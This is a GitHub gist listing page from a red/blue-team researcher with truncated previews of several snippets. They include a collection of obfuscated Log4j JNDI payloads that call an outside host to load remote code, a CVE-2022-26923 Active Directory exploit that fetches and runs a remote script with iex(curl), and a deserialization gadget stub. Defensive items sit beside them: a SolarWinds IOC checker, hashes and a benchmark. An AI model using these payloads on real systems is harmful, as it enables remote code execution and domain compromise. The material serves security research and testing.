Skip to content

Instantly share code, notes, and snippets.

View ZephrFish's full-sized avatar
🌐
Building tools and tradecraft to help red and blue

Andy ZephrFish

🌐
Building tools and tradecraft to help red and blue
1.1k followers · 113 following
View GitHub Profile
@ZephrFish
ZephrFish / 14_RTX_4090_v6.2.6.Benchmark.txt
Last active April 17, 2024 15:31
Hashcat v6.2.6 benchmark on 14x Nvidia RTX 4090
Benchmark is from an AI Cloud Rig:
https://cloud.vast.ai/?ref_id=127244
hashcat (v6.2.6) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
@ZephrFish
ZephrFish / gist:a37eff67f65d67a27d798821d8c5c2fb
Created October 10, 2022 09:23 — forked from ThunderGunExpress/gist:d221b316c94c4b7403f3179292c23ccb
//All credit goes to Ysoserial.net and the great @tiraniddo
//Snippets copied from ysoserial.net
//https://thewover.github.io/Mixed-Assemblies/ - Great read!
//https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui - Another great read
using System;
using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
@ZephrFish
ZephrFish / CVE-2022–26923.ps1
Created May 11, 2022 14:33 — forked from Wh04m1001/CVE-2022–26923.ps1
iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )
Import-ActiveDirectory
Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose
#in my testing i had to set dnshostname to $null first
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local
@ZephrFish
ZephrFish / Log4j Payloads
Last active December 20, 2022 19:32
Collection of WAF evasion payloads
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
@ZephrFish
ZephrFish / IOC-Checker.ps1
Last active February 3, 2021 10:10
Threat Analysis Group IOC Scanner
# Checks the registry for IOCs from https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/
# If not vulnerable should return "ERROR: The system was unable to find the specified registry key or value."
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update"
# Checks the paths of IOCs from https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/
# If not vulnerable each will return false
Test-Path C:\Windows\System32\Nwsapagent.sys
Test-Path C:\Windows\System32\helpsvc.sys
@ZephrFish
ZephrFish / Solarwinds UNC2452 SUNBURST - Decrypted List
Created December 18, 2020 07:01
-7n
-9s
-er7kj
-gn
-jc5pe
-jlowd
-ka25u
-lxwg8exljmcqy
-wwgi2xnl
-xhi7z
@ZephrFish
ZephrFish / Solarwinds Orion Hashes of Known Malicious IoCs
Created December 14, 2020 03:09
Solarwinds Orion Hashes of Known Malicious IoCs
// Solarwinds Orion Hashes of Known Malicious IoCs
Sha256: 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134
Sha1: 2f1a5a7411d015d01aaee4535835400191645023
Sha256: ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6
Sha1: d130bd75645c2433f88ac03e73395fba172ef676
Sha256: 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
Sha1: 76640508b1e7759e548771a5359eaed353bf1eec
@ZephrFish
ZephrFish / quik.py
Last active November 7, 2018 14:09
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def quickWin(url, paths):
with open(paths, 'r') as f:
for path in f.read().splitlines():
@ZephrFish
ZephrFish / dirprinter.py
Created October 10, 2018 10:28
# Dir Checker
# Prints out URLs and Paths together
import itertools
import sys
def dirprint(urls, paths):
x = open(urls).read().split("\n")
y = open(paths).read().split("\n")
for a, b in itertools.product(x, y):
print("{}/{}".format(a, b))
@ZephrFish
ZephrFish / MediaDash.html
Last active December 30, 2017 23:42
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/custom.css">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
<title>Application Loader ZSEC-Net</title>
<style>
.ad-left {